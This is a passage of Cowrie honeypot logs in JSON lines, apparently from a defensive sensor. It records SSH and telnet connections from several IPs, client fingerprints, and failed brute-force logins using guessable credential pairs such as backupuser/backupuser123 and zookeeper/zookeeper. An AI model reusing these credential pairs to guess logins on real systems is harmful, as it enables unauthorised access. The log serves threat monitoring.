v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:31:26.911569Z","src_ip":"213.209.159.158","session":"16345ec0b1f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Apps","password":"Apps","message":"login attempt [Apps/Apps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:31:36.789601Z","src_ip":"213.209.159.158","session":"16345ec0b1f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:31:40.168905Z","src_ip":"213.209.159.158","session":"16345ec0b1f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":28004,"dst_ip":"159.203.135.109","dst_port":22,"session":"e633006928ef","protocol":"ssh","message":"New connection: 213.209.159.158:28004 (159.203.135.109:22) [session: e633006928ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:31:40.255358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:31:42.873152Z","src_ip":"213.209.159.158","session":"e633006928ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:31:42.876043Z","src_ip":"213.209.159.158","session":"e633006928ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backupuser","password":"backupuser123","message":"login attempt [backupuser/backupuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:31:52.643605Z","src_ip":"213.209.159.158","session":"e633006928ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":44258,"dst_ip":"159.203.135.109","dst_port":22,"session":"8703f06afd25","protocol":"ssh","message":"New connection: 60.199.224.2:44258 (159.203.135.109:22) [session: 8703f06afd25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:31:56.093199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:31:56.099024Z","src_ip":"60.199.224.2","session":"8703f06afd25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:31:56.309626Z","src_ip":"60.199.224.2","session":"8703f06afd25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.1","message":"Connection lost after 16.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:31:56.354587Z","src_ip":"213.209.159.158","session":"e633006928ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":6498,"dst_ip":"159.203.135.109","dst_port":22,"session":"7df90ac600cf","protocol":"ssh","message":"New connection: 213.209.159.158:6498 (159.203.135.109:22) [session: 7df90ac600cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:31:56.452585Z"}
{"eventid":"cowrie.login.failed","username":"moon","password":"moonpassword","message":"login attempt [moon/moonpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:31:57.189343Z","src_ip":"60.199.224.2","session":"8703f06afd25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:31:58.403124Z","src_ip":"60.199.224.2","session":"8703f06afd25","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:31:58.844234Z","src_ip":"213.209.159.158","session":"7df90ac600cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:31:58.847841Z","src_ip":"213.209.159.158","session":"7df90ac600cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":49310,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd9b13da086d","protocol":"ssh","message":"New connection: 2.57.122.210:49310 (159.203.135.109:22) [session: bd9b13da086d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:32:06.051275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:32:06.054745Z","src_ip":"2.57.122.210","session":"bd9b13da086d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:32:06.160736Z","src_ip":"2.57.122.210","session":"bd9b13da086d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"eigenlayer","message":"login attempt [ubuntu/eigenlayer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:32:06.492453Z","src_ip":"2.57.122.210","session":"bd9b13da086d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:32:07.600353Z","src_ip":"2.57.122.210","session":"bd9b13da086d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"achim","password":"achim","message":"login attempt [achim/achim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:32:08.274951Z","src_ip":"213.209.159.158","session":"7df90ac600cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:32:11.662979Z","src_ip":"213.209.159.158","session":"7df90ac600cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":20858,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1382ce9e098","protocol":"ssh","message":"New connection: 213.209.159.158:20858 (159.203.135.109:22) [session: d1382ce9e098]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:32:11.741551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:32:14.037350Z","src_ip":"213.209.159.158","session":"d1382ce9e098","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:32:14.040594Z","src_ip":"213.209.159.158","session":"d1382ce9e098","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.85.163.94","src_port":53506,"dst_ip":"159.203.135.109","dst_port":22,"session":"028b5cee257b","protocol":"ssh","message":"New connection: 34.85.163.94:53506 (159.203.135.109:22) [session: 028b5cee257b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:32:22.822147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:32:22.826496Z","src_ip":"34.85.163.94","session":"028b5cee257b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:32:22.837257Z","src_ip":"34.85.163.94","session":"028b5cee257b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mehdi","password":"mehdipass","message":"login attempt [mehdi/mehdipass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:32:23.315756Z","src_ip":"34.85.163.94","session":"028b5cee257b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"2","password":"2","message":"login attempt [2/2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:32:24.065091Z","src_ip":"213.209.159.158","session":"d1382ce9e098","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:32:24.329277Z","src_ip":"34.85.163.94","session":"028b5cee257b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:32:27.431804Z","src_ip":"213.209.159.158","session":"d1382ce9e098","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":38666,"dst_ip":"159.203.135.109","dst_port":22,"session":"6971c70e20ed","protocol":"ssh","message":"New connection: 213.209.159.158:38666 (159.203.135.109:22) [session: 6971c70e20ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:32:27.535935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:32:30.215038Z","src_ip":"213.209.159.158","session":"6971c70e20ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:32:30.217670Z","src_ip":"213.209.159.158","session":"6971c70e20ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.174","src_port":33924,"dst_ip":"10.17.0.5","dst_port":23,"session":"a727b12c6262","protocol":"telnet","message":"New connection: 130.12.180.174:33924 (10.17.0.5:23) [session: a727b12c6262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:32:39.720432Z"}
{"eventid":"cowrie.login.failed","username":"all","password":"all","message":"login attempt [all/all] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:32:39.996402Z","src_ip":"213.209.159.158","session":"6971c70e20ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.5403225421905518,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:32:40.260630Z","src_ip":"130.12.180.174","session":"a727b12c6262","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"16.0","message":"Connection lost after 16.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:32:43.493922Z","src_ip":"213.209.159.158","session":"6971c70e20ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":33676,"dst_ip":"159.203.135.109","dst_port":22,"session":"de9fa18b1023","protocol":"ssh","message":"New connection: 213.209.159.158:33676 (159.203.135.109:22) [session: de9fa18b1023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:32:43.578925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:32:45.919155Z","src_ip":"213.209.159.158","session":"de9fa18b1023","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:32:45.922709Z","src_ip":"213.209.159.158","session":"de9fa18b1023","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zookeeper","password":"zookeeper","message":"login attempt [zookeeper/zookeeper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:32:55.499760Z","src_ip":"213.209.159.158","session":"de9fa18b1023","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:32:59.324460Z","src_ip":"213.209.159.158","session":"de9fa18b1023","protocol":"ssh"}
